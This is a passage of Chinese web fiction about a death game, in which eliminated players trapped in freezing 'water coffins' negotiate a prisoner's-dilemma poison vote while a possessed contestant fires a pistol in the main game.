“哈哈!我回来啦!至此【善恶毒药】游戏规则已经全部说明完毕……咳咳,四位被淘汰者请注意啦!游戏结束时,率先用掉或转移全部毒药的一名或多名被淘汰者,将获得300分钟狗环剩余时长,以及神秘福利的丰厚奖励哦!”
300分钟。
足足5个小时。
还有“神秘福利”?
奖励倒是还行……
沈墨棠还在心里打着算盘,红蟹的声音便戛然而止。
触屏画面重新回到【善恶毒药】的字样,底下有一行小字:游戏即将开始,10……
9……
8……
7……
……
永夜城,东城,酒店顶层俱乐部。
“一个游戏,两套规则?”范诺琪挖出一小勺冰淇淋送入口中,含着勺子嘟囔:“老大,这次游戏这么复杂吗?”
吧台内的青二条笑笑:“是吧?支线时间比主线时间提前三分钟——主游戏刚开始第一回合时,水棺里就已经在投第二回合的毒药;主游戏第二回合发生的‘水鬼袭击’,水棺里会在第三回合反应处理……明线、暗线同时进行,彼此
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影响……黄金一代设计师的拿手把戏,确实难!”
“红蟹这次拿出这套游戏,这届新人也算是体验满满了!”
范诺琪吐槽:“感觉脑子好痒……那场上的人能猜出水鬼就是之前自己淘汰掉的人吗?”
“不会。”青二条很笃定,“狗环的声音都经过处理,不是特别特别熟悉的话根本听不出来。”
范诺琪叹气:“意外的复杂呢!好在我们当初那几场没这么难,不然我们东城现在的人员,估计得换上一批了!”
“不知道这批新玩家什么时候才能发现真正的答案……”青二条小声念叨,接着看向手边的通讯器。
……
4……
3……
2……
1……游戏开始!
“呃呀!!水鬼附身!!”
小屏幕猛地发出吼叫,夹杂着仿佛地狱丧乐般的重金属音乐,画面弹出一句“请选择水鬼附身对象”,底部还展示出四个人像选框:
【长脸女】、【眼镜男】、【粉头男】、【宋白河】
沈墨棠眯眼盯着屏幕,侧起上身。
“水鬼附身”原来是附身到主线游戏的玩家身上吗?被附身的玩家会怎么样?
而且【水火相容】不是总共八名玩家参与吗?为什么只有四个人可选?
小屏幕右上方有30秒倒计时兀自倒数:28……27……26……25……
目前能掌握的信息太少。
沈墨棠纠结片刻,决定先以“不让宋白河被水鬼附身”作为基本游戏策略。
她按了“粉头男”的头像选框,弹出了【确认】对话框。
——确认。
30秒倒计时很快结束,小屏幕显示最终结果:【长脸女】的头像被放大,打上“水鬼附身”四个字。
随后屏幕弹出“表达意愿”的标题,画面中有“东”、“北”、“西”、“南”四个黑色的头像。
此时“北”头像正闪动着活跃的UI光圈,上面有15秒倒计时,以及“正在发言中”的字样,看着就像是某种社交软件的群语音界面。
这是……被淘汰者之间的交流!
沈墨棠竖起耳朵。
14……
13……
12……
11……
水棺里安安静静,音响什么声音都没发出。
9……
8……
7……
6……
什么都没有。
规则里不是说能够交流吗?为什么听不见任何声音?说话啊!
沈墨棠忍不住伸出手指敲敲屏幕,怀疑触屏是不是有什么故障。
4……
3……
2……
1……
15秒很快结束。
画面中换成“西”头像闪动光圈,同样15秒倒计时。
“喂喂?额……嗯,有人吗?听得到我说话吗?我……嗯……”音响内发出一个结结巴巴的男性声音,听语气年龄不大,但声音经过电子元件后有种莫名的沉闷。
活人的声音!!
沈墨棠不免有些激动——独自在阴冷黑暗的“水棺”中躺了这么久,那种孤独的压抑让她觉得自己好像与世隔绝好几百年了!
“我要说什么?额……快冷死了……我这里有冰水……挺多的……”西的声音颤抖,音响内带有轻微的水声。
沈墨棠立刻意识到:第三回合西阵营获得了主线游戏的胜利,所以他的水棺内应该是被注入了1/3的水!
打了个冷颤,沈墨棠仿佛已经能感受到刺骨的冰冷,这样的冰水浸泡,正常人真的受得住吗?能扛多久呢?
“我想……嗯……我可能脑子不太清醒了……先听听其他人说什么吧……我是想投毒,但是……”
西发言戛然而止,15秒倒计时结束,轮到“南”头像闪动光圈。
42. 彩虹节拍-绿青7
两秒后,伴随着细细簌簌的布料摩擦声,音响内传出一个哑嗓的女声:“到,到我了?喂喂喂?我说话你们能听见对吧!快快快……快商量一下游戏啊!”
她停顿一下,“反正意思是我们每人有五瓶毒药对吧?我听了规则,四个人一起投毒毒药就不会生效,然后我们同时毒药投完,这里说是可以多人一起拿奖励的……我的意思是我们直接投就行了!你们怎么看?”
“还有就是……呃……暂时就是这样,我们先投一轮,看看情况如何……哦,你们知道那个水鬼附身是什么意思吗?我没听明白,等下如果有人知道的可以说一下……嗯,对,暂时就这些……呃刚才北,北边是没有发言是吗?”
她的语速较快,15秒内表达了许多,似乎发言前就已经打好了腹稿,效率很高。
接下来轮到“东”头像闪动光圈,小屏幕上显示“您正在发言中,请向其他被淘汰者表达您本回合的投毒意愿”,音响似乎“嗒”的一声打开收音设备。
沈墨棠深吸了口气。
15……
14……
13……
12……
“我这回合会投毒。”她对小屏幕缓缓说了这句,随后停顿了许久,“可以四个人都拿奖励。”
这个游戏是典型的“囚徒困境”:即被淘汰者们明知道“四人全投毒”是最优解,但若是无法交流,大家害怕有人不投毒,于是为了自保或获利,自己也会选择不投。
但“囚徒困境”有个最大的先决条件——就是“囚徒”们彼此之间无法交流。
此时即然能提供给每位被淘汰者15秒钟的发言时间,那就有达成可能相互信任。
沈墨棠抽了抽鼻子,鼻子被冻得发疼,只能微微张嘴呼吸。
事实上有研究表明“囚徒困境”只是构想中的博弈模型,而在现实的测试当中,当代人们会更倾向于“相信”与“合作”,即便参与者相互陌生,仍会默契地选择全局最优解。
毕竟大家现在接受的教育和耳濡目染的信息越来越接近,都大差不差,都是基于人类社会共存利益的前提。
沈墨棠只需要传达这份“合作”意识,就是在这种“生死游戏”中杀伤力最大的武器!
自此“北、西、南、东”都轮了一遍,总共1分钟的“表达意愿”环节结束。
画面显示游戏进入第一回合的“正式投毒”环节:120秒的倒计时,画面中央出现一瓶清水,覆盖着半透明的【投毒】按键。
119……
118……
117……
116……
嘴里呼出的热气在小触控屏上凝成雾。
沈墨棠盯着画面中央的按键,伸了手,却停在半空中,又缩回来。
刚才“北”没有发言。
万一“西”和“南”都退缩了,结果只有沈墨棠自己投了毒——那这回合结束后,她拥有的毒药就会增加到7支!
就算接下来每回合都成功消耗掉1支,也得到第八回合才能用光。
自己被毒死的危险将大大增加!
其他人也会有这样的顾虑吗?
不……沈墨棠摇摇头。
自保虽然没错,可游戏的猜疑链一旦形成,四名被淘汰者就会主动进入“囚徒困境”。最终结果还是在慢性自杀,自取灭亡!
这就是红蟹想看到的?
不,绝对不能让那家伙得逞!
刚才西、南、东三方的发言,北应该都已经听到了。
赌一把吧!
两分钟的时间不长不短,沈墨棠再次伸手,按下【投毒】键!
3……
2……
1……
第一回合结束。
小屏幕显示投毒结果:【有毒】
沈墨棠目光一凛——有毒?!
有毒……也分两种情况:“1人投毒”或“3人投毒”。
由于每四回合才公布一次毒药数量,所以此时被淘汰者连自己当前拥有几支毒药都不清楚,根本无法准确判断!
“哼……有意思……”沈墨棠继续揉搓鼻头。
所以,现在自己的毒药数量要么是5支不变,要么是增加到7支。
游戏继续第二回合,触屏画面再次跳出“东”、“北”、“西”、“南”四个黑色的头像。
这次是由“西”先进行15秒发言。
音响内只有水声,隔了两秒,颤抖的男人声音才响起:“我?我先吗?嗯……我投了……你们没投吗?刚才是不是只有我投了?好冷……冷死了我……”
他只说了两句,就没再出声,一直到倒计时还剩5秒时,才哆嗦着从牙关里蹦出一句:“这回合,还投毒吗?”
3……
2……
1……
轮到“南”发言:“我实话说,我也投了。上家没说谎的话,那就是三个人投。也就是‘东’或者‘北’你们当中有一人没投。刚才说好一起投,结果有人没投,这……呃……哎我就想不通了!为什么不一起投?是着急要去死吗?我……”
她哑着嗓子,已经想骂脏话了,但又觉得时间宝贵:“你们也是被……反正……呃……我也不知道怎么说,可以合作的!这次是可以合作的!不合作的话……大家就一起死啊?!”
“南”发言结束,轮到沈墨棠。
“我也投了毒。”沈墨棠先声明,她尽量让自己的声音听起来足够诚恳:“我赞成南边说的,我们应该合作。先听听北边怎么说。”
如果玩家在游戏开始时觉得自己毒药数量太多,必然会寄希望于其他三家投毒,让自己能够一回合减少3支毒药。
这样一来,投毒的概率就会大大降低,其余被淘汰者也会因此畏首畏尾——自此形成不必要的猜疑链。
谁也不希望游戏往这种糟糕的方向进展!
现在关键先确定“北”的态度。沈墨棠之后,就轮到“北”发言。
触屏画面中“北”头像闪动光圈,显示“正在发言中”。
15……
14……
13……
12……
时间一秒一秒流逝,音响内始终没有半点声响,仿佛北边的“水棺”里空无一物。
不说话?
所以刚才是“北”没投毒?
连为自己辩解一下都不愿意吗?
沈墨棠扫了眼毫无变化的黑暗水棺,意识到四名被淘汰者接下来,将会在黑暗中陷入无尽的相互猜忌!
——这就是最终结果吗?
15秒倒计时结束,游戏进入第二回合2分钟的“正式投毒”环节。
投毒吗?
沈墨棠抽抽鼻子,不由自主打了个寒颤,勒紧身上单薄的病号服,在水棺中费力地翻了个身。
117……
116……
115……
114……
“北”为什么不发言?
第一次不发言还情有可原,第二次呢?
为什么?
沈墨棠眯起眼睛,“哈秋”打了个喷嚏,脑袋“当”的一声磕到头顶的石头上,疼得她倒吸凉气……
该死的,额头一定肿起来了……<
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死?等等!
沈墨棠脑中闪过一个念头!
北阵营的被淘汰者,该不会已经死了?!
【彩虹节拍】的第一、二个游戏【力大无穷】和【耳聪目明】都是北阵营获胜——也就是说北阵营淘汰者早已被泡在灌注了2/3冷水的水棺中!
水棺内如此冰冷,长时间的失稳必然导致人休克,再加上棺内注水……
“这就对了!”
上个支线游戏【大者通吃】当中,“北”那奇怪的出牌选择也能解释得通——根本没有操作,全程都是随机选择!
"真是这样的话……"
——接下来【善恶毒药】就不可能达成完美的4人投毒!
……
“老大,我有个问题。”
东城,酒店顶层俱乐部。
青五条斜眼盯着屏幕,若有所思:“这个暗线游戏……要不是少了一个人,是不是破局很简单呢?”
青二条按下通讯器的发送键,肯定青五条的想法:“可以这么说。”
“啊?”
“但这算是新人战的第四回合,大多数情况下被淘汰者都不会满员,游戏也会因此有所针对。”
“这样啊……”青五条挖了勺冰淇淋,又放回玻璃容器里,感叹了一句:“这下被淘汰者难办呢!”
“得看他们接下来怎么沟通……永夜城,向来都是撑死胆大的饿死胆小的。”
……
102……
101……
100……
99……
别着急。
“正式投毒”环节有两分钟,足够好好思考。
沈墨棠无奈哂笑,明白这场游戏已经变成另类的“懦夫选择”:北淘汰者已经死亡,所以TA永远不会投毒,游戏实际上只存在“0人、1人、2人、3人投毒”这四种情况。
如果一直都无人投毒,那么大家一起死。
如果有人主动打破僵局,出现“1人投毒”或“3人投毒”的情况,不仅会令“北”直接获胜,还会令主线游戏中的[水]有毒。
此时唯一既能获得奖励,又能打破游戏僵局,还能保证[水]无毒的办法,就只剩下“2人投毒”。
然而,想要达成“2人投毒”的默契,需要仍活着的三名被淘汰者相互信任,轮流消耗毒药。
否则一旦产生信任危机,脆弱的关系立刻就会荡然无存。
互相信任,这可真是个冒险的选择啊!
沈墨棠将右手伸到触屏【投毒】的按键前,停在半空中。
如果第一回合确实是“东”、“南”、“西”三家投毒,那么此时的毒药数量应该是:东5支、南5支、西5支、北2支……沈墨棠应该先与“西”、“南”两人好好沟通,确定一个投毒方案。
游戏才第二回合,还有时间,还有时间……
小屏幕发出的荧光照得沈墨棠的右手轮廓分明,而她藏在身体阴影中的左手,却无意识地“嗒嗒嗒”敲打身下的石头。
黑暗,冰冷,孤独,压抑……水棺将会埋葬几名被淘汰者?
有人会知道被投票淘汰的他们,曾经在暗无天日的地方尝试“复苏”吗?
还是说,在这黑暗的水棺中,有为了满足主办方恶趣味而设置的隐藏摄像头?
它们到底是什么人?
沈墨棠垂下右手,侧躺在冰凉的水棺中,等待倒计时结束。
保险起见,第二回合先不投毒吧。
3……
2……
1……
第二回合结果:无毒。
43. 彩虹节拍-绿青8
“无毒……”
盯着小屏幕上的结果看了好几遍,沈墨棠连忙反应过来,甩了甩冻僵的脑袋。
这石棺真的太冷了,游戏已经进行过半,什么时候才能出去?
她的视线重新聚焦到小屏幕上。
如果她的推测没有错,北阵营的玩家在连输两回之后已经死亡,那目前能出现无毒的结果,只有两种情况:0人投毒或者2人投毒。
自己没投,也就是说“西”、“南”两人都投了?
沈墨棠想听听他们怎么说。
第三回合,从“南”开始发言。
南的效率向来很高,可这次的发言,她却是先“呃”了几秒钟,似乎不知道该说什么,许久才“唉”了一声,宛如叹息般的声音才扩散出来:“我直说了吧,我刚才没投,不知道你们有没有投……还有那个北边的两回合都不说话了,恕我直言,是不是死了?”
说完这些,南沉默许久,见发言时间不多,便以“就这样吧”为结尾。
既然南也没投,那第二回合就是“0人投毒”。
接下来轮到沈墨棠发言:
“北边的应该是死了。”她稍稍加快语速,大胆推断,“TA开局连输两轮,一开始就泡在水里,冰水失温非常快,估计现在已经冻死了,至少是失去意识了……所以只剩下我们三个投毒。我的建议是,我们最好两个两个轮流投,这样能够在……”
说到这里,她不由得愣住。
小屏幕荧光下,沈墨棠面色凝重,久久没再开口——她本想提议由还活着的东、南、西三人“两两轮流投毒”——可突然意识到,游戏不可能如此顺利地进行下去!
没猜错的话,现在“东”、“南”、“西”三人手中都还有5支毒药,总共15支。若是“两两组合”,最后必然会剩下1支!
谁愿意接受“剩下”的毒药呢?
若是不先想清楚如何解决,那么三人合作总归有隐患。
沈墨棠眯起眼睛,苍白的嘴唇抿成一条直线。
轮到“北”发言。
14……
13……
12……
11……
果然,依旧是十五秒的死寂。
最后轮到“西”。
他的话语伴随着隐隐约约回荡的水声,听起来状态很不好:“嗯……我……接下来……接下来你们到底要投还是不投?好冷……嗯……快撑不住了……我还能活着出去吗……你们说说话……说话……”
他说话很慢,很慢,声音微弱。15秒的时间都不够他完整说完一句话。
游戏第三次进入“正式投毒”环节。
“呃呀!!水鬼附身!!”
恐怖的重金属音乐再次在逼仄的石棺里奏响!
小屏幕画面跳出“水鬼附身”字样,以及四个头像选框:
【粉头男】、【宋白河】、【大妈】、【莫西干头女人】
“哼?”
又来一次“水鬼附身”?
……
困在石棺里的被淘汰者们并不知道,支线游戏【善恶毒药】进行第三回合的同时,主线游戏【水火相容】正进行到第二回合——眼镜男触发了“水鬼袭击”,所以反过来影响支线游戏里的淘汰者们,需要立即再次选择“水鬼附身”的对象。
沈墨棠盯着小屏幕上的头像。
这次虽然依旧为四个人,可最开始被附身的“长脸女”已经不见,还有那个戴眼镜的男人也不见了。
出现了两个新头像【大妈】和【莫西干头女人】。
【粉头男】还在,【宋白河】也还在……相比起最初排在末尾,这次【宋白河】的头像出现在第二的位置……头像顺序代表着什么吗?
这些都是【水火相容】的玩家吧?【水火相容】有八个玩家,他们的游戏规则又是怎样的呢?
被“水鬼附身”过的玩家都消失了吗?
不对,第一轮附身的是长脸女,如果是因为“水鬼附身”而消失,跟长脸女一起消失的眼镜男并未被“水鬼附身”过。
“水鬼附身”对于玩家来说,究竟是件好事还是坏事?
沈墨棠紧皱眉头,决定在尚未弄清楚“水鬼附身”到底意味着什么时,优先考虑“避免宋白河和米米被附身”。
自己既然一开始就希望他们两人在这轮获胜,那就送佛送到西吧!
没想到【水火相容】中还存在致死的毒药!好在毒药是否形成,她有一部分决定权。
尽管如此,被封闭在“活人水棺”内的她,此时能做的事,实在是太少了。
沈墨棠活动着手指,按下头像顺位第一的【粉头男】。
很快30秒倒计时结束,画面中【宋白河】的头像被放大,打上“水鬼附身”字样。
“越不想什么就越来什么……”
沈墨棠无语了片刻。
所以“西”、“南”当中有人选了宋白河?
小屏幕画面中第三回合“正式投毒”的倒计时没有停止:85、84、83、82……
“嗒嗒嗒……”
沈墨棠手指敲打着水棺石板,愈发觉得自己像一具渴望回到阳间的活尸。
第三回合最终结果为:无毒。
沈墨棠还是没投毒。
第四回合“发表”环节由她开始:
“由我开始,先问个问题,刚才水鬼附身我选的是第一个头像,你们选第二个了吗?”
开门见山直接询问,她想尽快确定“水鬼附身”的投票原理。
越早掌握规则,就能越早想出相对应的解法。
“接下来说投毒的事……我刚才没投毒……这回合,我建议不要浪费时间,先两个人投毒,至少能消耗2支毒药。”
她顿了顿:“按照这回合的发言顺序,最后会在南边结束,等下就由你决定这回合哪两人投毒。无论你选择谁,我都接受。”
最后一个发言的人能够结合前面每个人的发言,进行总结“归票”,决定该回合中最合适的“两人投毒”人选。
这种需要社交合作型的游戏,沈墨棠并不擅长,但她能明白底层逻辑,先消耗多余的毒药总是没错的,至于最后一支毒药,等最后再做决定也不迟。
接下来,轮到“北”死寂的15秒。
14……
13……
12……
11……
15秒的时间好像变得很久很久。
挨着寒冷,深吸一口气,沈墨棠被水棺内那还未散去的刺鼻气味呛得咳嗽两声。
游戏机制允许“一人或多人获胜”、“只要没剩下毒药就能幸存”,加上300分钟的时长奖励,这场游戏里,玩家的合作意愿肯定会更高。
可还是有一个横亘在心头的疑问——这一切为了什么?
每个游戏都有不同的底层机制、不同类型的获胜条件、不一样的竞争博弈原理……
为什么要这样设计游戏?如果只是想从四个阵营里比拼出一个最强的阵营的,那只需要一场团队积分赛就可以,为什么要这样费尽心机,设计出这么负责的游戏呢?
是为了要游戏结果吗?
是有人需要这样的游戏结果吗?如果是这样,那这些游戏结果又有什么用呢?
沈墨棠闭上双眼。
抬手摸了摸狗环,透过触屏边框反射查看狗环剩余时长:
07:01:29
07:01:28
07:01:27
07:01:26
“简直多此一举……”她低沉地冷哼一声,寒冷让她的思路在黑暗中涣散。
除了狗环爆炸,主办方还有无数种手段能杀死玩家——
关在水棺内淹死、释放毒药毒死、活生生冻死……甚至放火烧死、熏死,用尖刀利刃捅死、用绳索绞死、用电锯锯死、用枪打死……传说中的“满清十大酷刑”都可以来上一遍!
为什么不直接让玩家们死呢?
为什么呢?
是对玩家们有所企图吗?
可,玩家被视为蝼蚁一般,又有什么东西可以被企图的呢?
主办方,究竟想要什么呢?
沈墨棠双手握拳,掌心感受着指尖的冰凉。
就算自己真的如同蝼蚁一般,也不想就这样莫名其妙地被他人控制着谢幕!
自己的最终章一定要由自己亲自决定!
谁都别想偷改她的结局!
现在自己唯一能做的,就是一直
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赢!赢下每场游戏,争取活到最后,揭开最后的真相!
最好是,找到幕后黑手,先扇TA几个大嘴巴子。
3……
2……
1……
轮到“西”发言。
沈墨棠将手举到嘴边,用力咬了一下手指,利用疼痛强迫自己集中注意力,现在可不是乱想的时候。
“我……多了一支毒药……”幽幽的声音从音响内传出,“嗯……刚才选水鬼的时候,他说我被水鬼袭击,获得一支毒药……我的毒药越来越多了……我要死了吗……我不想死……不想死……”
沈墨棠一愣:多了一支毒药?被水鬼袭击?
这是什么意思?
听“西”这带着哭腔的虚弱语气,不像说假话的样子……这么说来,在【善恶毒药】里,被淘汰者不仅要消耗已有的毒药,甚至在游戏过程中还可能获得新的毒药?
“还有……嗯……我选了第二个人,那个男的。”西颤抖着说着,听声音似乎在水里动了动,“凭什么……凭什么他能晒得那么黑……我也……我也想晒太阳……别让我死……求求你们……求求你们别让我死……”
15秒钟的时间,看“西”的精神状态之萎靡,能够表达得如此清晰完整实属不易。
最后轮到“南”发言。
“我也选了第二个头像,所以第二个人被水鬼附身没错。”
南组织过语言,她加快语速:“说实话我现在还不太明白这个‘水鬼’是干什么用的,然后东……呃,西说的多一支毒药,是你自己多了一支吗?这个等下……不是说每四个回合要公开一次毒药数量吗?等下应该就能看清楚。”
“然后是投毒,现在不是北边的已经……挂了,那我们要两个两个投的话,就轮流来……呃……这回合你们两个先投,东边和西边,听清楚了吗?这是我的诚意,下回合你们其中一个再换我,就这……”
15秒时间到,西的发言被掐断。
好在她基本已经给出所有信息,也同意沈墨棠的想法,执行了“两人投毒”的计划。
触屏画面跳出第四回合的“正式投毒”环节倒计时:
119……
118……
117……
116……
“嗯……”沈墨棠低吟着。
根据“西”、“南”两人的说法,宋白河确实是被两票“水鬼附身”,暂时还不知道会有什么影响。
“西”、“南”两人也都没选自己阵营的人。
不管是想让自己的阵营赢还是想让自己的阵营输,这两家估计也是在不确定影响的情况下,不敢乱选。
下一轮发言时,她得先提前沟通好,既然大家都不敢选,之后若是还有“水鬼附身”的环节,就直接选北阵营的玩家——北必然不会反对吧!
这回合结束后就会公布目前每个被淘汰者的毒药数量。
很快能确定游戏接下来的策略。
沈墨棠期待的同时,依照约定按下了【投毒】键。
……
两分钟后,第四回合结束,投毒结果:无毒。
小屏幕“叮咚”发出一阵提示,画面跳出“公布当前毒药数量”的字眼,以及最初那张“东、南、西、北”四个水棺的构造示意图,每条管道上接入的毒药就是淘汰者当前拥有的毒药数:
【北】2支,【西】5支,【南】5支,【东】4支。
出现了!毒药数量公布了!
沈墨棠迅速在脑中过了一遍——第一回合西、南、东三人投了毒,分走了北的3支;第二、三回合无人投毒;第四回合西、东投了毒,而西因为“隐藏信息”的影响,多获得了一支毒药。
从这个结果倒推回去……每个人说的都是真话!
看来“让最后一个发言者决定投毒人选”的合作策略,暂时有效。
而且……
沈墨棠露出些许哭笑不得的表情:
因为西多获得了一支毒药,所以因祸得福——西、南、东三人的毒药总数变成了双数,总共14支。
如果西边的那家伙能撑得住,刚好能够在7个回合后用完!
现在的问题是,主线游戏【水火相容】能再坚持7个回合吗?
44. 彩虹节拍-绿青9
3……
2……
1……
“跳过!”
粉头男犹豫到最后一秒,最终选择“跳过”结束回合,【水火相容】游戏轮到宋白河。
“不能停了是吗?”
噪声吵得宋白河脑子疼到几乎要爆炸。
他不着痕迹捂着耳朵,试图让自己好受一些。
狗环里冒出乱七八糟的谈论声,似乎还夹带着一些令人难以承受的频率。
像训狗一样的哨音,只要几次,就会让人生理极度不适。仿佛被未知的针扎中脑子,时不时就得来一下。
吊诡无比的谈论声:
“……水鬼我选的……你们……”、“……刚才没投毒……不要浪费时间……投毒……”、“……最后会在南边结束……我接受……”
“最后会在”、“南边结束?”
宋白河咬牙抬头,布满血丝的双眼盯着南阵营的粉头男,惹得对方一阵毛骨悚然。
狗环声音不停:
“……多了一支毒药……”、“……我被水鬼袭击……我要死了……不想死……”、“……第二个人,那个男的……求求你们……”
宋白河带着疑惑的目光又投向西边的眼镜男——“被水鬼袭击”、“第二个人”、“那个男的”?
头好痛……谁说的才是真的?
“……第二个人被水鬼附身没错……”、“……还不太明白这个水鬼……多一支毒药……每四个回合要公开一次……”、“……北边的已经……轮流……东边和西边……”
“北边”?“东边”?“西边”?
宋白河一边后退着,一边警惕地来回扫视“水晶屋”中的其他三人。
不要再说了……不要再说了……
……
“别说了!”
宋白河一手扫掉桌上的饭菜,哽咽着嗓子凶道:“这次妹妹的家长会你们自己去!”
短暂的震惊后,迎来的是父亲软下来的语气:“我去不了,我那天有台手术。”
“是啊,那天我也有事。”母亲虽然说着和事的话,但全程冷着一张脸,迟缓地收拾地上碗筷,“再说了,之前白乐的家长会不是一直是小河你去的吗?我们现在去也听不懂啊!那天你就帮忙带一下妹妹吧!”
父亲没再看一眼宋白河,起身回书房。
“……那天我要参加比赛的!”宋白河冲着父亲的身影声嘶力竭!
“你去完家长会再参加比赛嘛!或者参加完比赛再去家长会嘛!别忘了下午还得去接白乐哦,你是哥哥嘛!”母亲冲宋白河叮嘱一句,“我先去上班了!麻烦你了,小河。”
母亲简单地扒拉了几口饭,将碗筷放在水槽中,匆匆忙忙换上鞋就出门了。
只留下宋白河独自站在空荡狼藉的餐厅里,等待视线里的模糊将自己掩埋。
……妹妹家长会那天,自己要去参加气.枪射击锦标赛团体赛的啊!自己作为队长,已经跟团队里的人约好了!
为什么,为什么总是让自己照顾妹妹!为什么都已经那么忙了,却还硬要再生一个小孩却又不管?
我自己也有要做的事啊!我也想过我自己的人生啊!
“队长,不是,你参加比赛带个小孩来干嘛?而且这里还是男更衣室!你让她去女队那边呗……多不方便啊……”队友无奈地看着妹妹,言语中略有些抱怨。
“女队那边已经开始比赛了……我爸妈他们比较忙,我妹妹没人带……”宋白河不好意思地道歉。
宋白乐拿着笔跟作业本跑来,指了指自己的电话手表:“哥哥哥哥,我们要去开家长会了吗?芸芸说老师快要点名了……”
宋白乐话还没说完,门外就传来催促声:“队长,教练喊你快点,布置战术了。”
“知道了!马上来!”宋白河只好先安抚白乐:“白乐,你先写作业,哥哥马上来。”
越急就越容易出错。
宋白河忘了那天自己究竟是怎么回事,可能是为了赶时间,想赶紧带妹妹去家长会,他破天荒反对了教练的保守战术,选择了更为激进的方式。
最终结果是他一枪打偏,团队赛输了,无缘晋级。
宋白河忘不了同队队员的失望。
比赛失利时,整个赛场的嘈杂都在一瞬间灌入耳中。
什么声音都有。
全世界的声音都钻进耳朵里。
原本是十拿九稳的事……怎么会在关键时刻出问题呢?
是自己的能力有问题吧?
自己的提议简直就是来搞笑的,一点都看不出专业度。
还有开出的那一枪。
脱靶的那一枪。
……
“喂,北边的,你知道水鬼……那被水鬼附身是不是会……疯掉?”
眼镜男视线都没离开过宋白河,眼神不怀好意。
眼前的宋白河三分愤怒,三分悲切,三分疯癫,仅有的一分正常也被嘴里听不清的碎碎念占满,像是即将精神崩溃。
他的回合已经开始30秒,但宋白河却连手枪都没拿,也没有要喊出“跳过”的样子。
一旦崩溃,他很快会被直接淘汰!
“感觉这哥们都快哭球了哈。”粉头男视线来回扫过其他人。
北房间的长脸女脸上一片阴郁:“那声音……太痛苦了……这辈子都不会想再听……”
“……这哥们怕是要跳过了吧?”粉头男再次趴在玻璃墙上观察宋白河。
长脸女白了粉头男一眼,也靠到玻璃上,小声念叨:“他不会跳过的……要是跳过,就直接淘汰了……不会跳过的……”
【被水鬼附身的你若执行‘跳过’,将直接淘汰!】
长脸女耳边仿佛又响起狗环里那些令人痛苦的声音。
“不是,姐们……你解释一下呗,我听见你说的了,你什么意思啊?”粉头男又把脸转向长脸女。
长脸女表情微妙,带着畏惧而又幸灾乐祸的神色,定定注视宋白河:“他被水鬼附身了!等死吧!”
宋白河要是死了,自己的上家就变成粉头男,这样她就可以执行“跳过”了!
自己可以再躲过一次……早点死、早点死、早点死……!
“嗯?”
长脸女把脸紧紧贴在玻璃墙面上,眼睛不由得睁大。
宋白河的痛苦神色突然变得平静。
他慢慢睁开眼,眉头微微一皱,像是得到了什么指引,一步一步朝中心置物台走去。
一步、两步、三步……他兀自从置物台内将手枪取出,握在手中掂量端详,调整角度,尝试预瞄——
他要开枪!
“哥……哥们,你说句话啊!你……真被附身了?你要开枪吗?不跳过啊?!”粉头男嘴巴根本闲不住。
“我想试试枪。”宋白河没有正面回答“被附身”这个问题。
留下这么一句话,便转身来到东房间的窗口处,重重吐了口气。
狗环里邪恶的讨论声暂时消失,只剩下关于水鬼附身的信息在不停重复。
“不能跳过,只能开枪。”被折磨过的虚弱神经只能努力记得这件事。
生死攸关的大事,这句话就够了。
宋白河感受着手里冰冷的手枪,只凭着平时训练出的身心感觉以及专业度,开始研究这把游戏特制的手枪。
“有点重量……”
他掂了掂手枪,视线穿过窗户的栏杆,望向隔着30米远的米米:“……也太远了。”
他挺直身躯,将枪口抬起,手臂平举,瞄准气球椅子的方向。
“嘿!看这姿势……这哥们专业的?”姿势专业到让粉头男想起自己看过一些体育频道的比赛,他不禁低声喃喃,望着宋白河挺拔的背影,脸跟玻璃贴得更紧了。
粉头男判断的没错,确实是专业的——宋白河是气.枪运动员。
事实上,对于这件事,宋白河自己心中也觉得蹊跷:
让罗钧钧去比力气、让欧阳浩宇去比乐谱、让郑云霞去比拔河……之前的游戏中,玩家都在比各自的弱项。
而轮到自己的时候,游戏却是自己擅长的射击项目?
要知道气.枪运动和其他体育大项不一样,投身其中的运动员并不多。
主办方刚好设计了一场与枪械射击相关的游戏,又刚好挑到宋白河来参与?
就像自己跟米米说的,他总感觉他们这些玩家……像是某人手中的棋子。
输赢,或许从一开始就不掌握在自己手上,而是那未知的“棋手”手中。
想到这里,宋白河握紧住手枪,又看了一眼房间的倒计时——还剩70秒。
如果是自己所想的那样,那这一场游戏,是不是执棋手希望自己跟米米能赢?
想到这里,他心里莫名地多出几分底气。
气.枪运动只分“气步.枪”和“气手枪”,二者都只有10米项目……他望向栅栏窗口,米米所在的位置离窗口足足30米,与平时训练大相径庭。
举枪瞄了大概7、8秒左右,他又将枪口放下,调整状态。
呼吸、身体血液流动、大脑的杂念、对周围环境的感知、专注力、平常心……一切都会影响射击的准度。
51……
50……
49……
48……
倒计时一分一秒流逝,狗环里的低语一刻不停,“水晶屋”仿若沉入海底的亚特兰蒂斯,始终不见天日。
宋白河此时唯一能控制的,只有自己的心跳,自己的呼吸。
他再次抬起枪口。
被水鬼附身只能开枪;若是没打中气球,就得喝[水];另外,枪里还有一发空弹……未知的命运只有在扣动扳机后才能真正确定。
场地对面,被禁锢在“气球椅子”上的米米看向栅栏里出现宋白河的脸,紧接着,黑洞洞的枪口举起。
她张了张嘴,没有说话。
46……
45……
44……
43……
颀长有力的手指扣动扳机!<
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p>“砰!!!!”
击锤撞击底火——子弹内的火药被引燃,瞬间爆发大量气体——推动弹头沿着枪管前进,顺着膛线弯曲的方向旋转射出——划过30米空地,笔直朝气球椅子飞去——
“咻!”
子弹掠过气球椅子的边缘,飞向更后方,最终彻底失去准度,打在场地东侧的石墙上。
广播立即发出“嘀”的一声警示音,东房间内的红灯长亮。语音提示:“射击失败!请当前玩家在10秒内喝下房间中的一瓶水,10、9、8、7……”
【规则3:游戏特制的手枪已被设了扳机智能锁,每回合只能被击发一次。若你在自己的回合内没能打爆气球,除非你击发出的是空弹,否则需要在10秒内喝掉房间内的一瓶[水]。】
违反规则即淘汰。
宋白河深吸一口气,迅速抓起传送带卡槽里的[水],毫不迟疑地仰头“咕嘟咕嘟”往嘴巴里灌。
决定开枪的时候,他就已经做好喝[水]的心理准备——不论这瓶水是否有毒,自己都只能喝下它。
哐哐干光180毫升清水,宋白河将空塑料瓶原封不动地放回卡槽中,角度分毫不差。
房间内红灯立刻恢复闪烁,倒计时还剩30秒。
他拿着枪,垂首站在原地,等待体内“有概率的”毒药发作。
29……
28……
27……
26……
过了近十秒,宋白河没有发现身体有任何异常。
在他身后,另外三人看了看倒计时,彼此露出一个微妙的眼色。
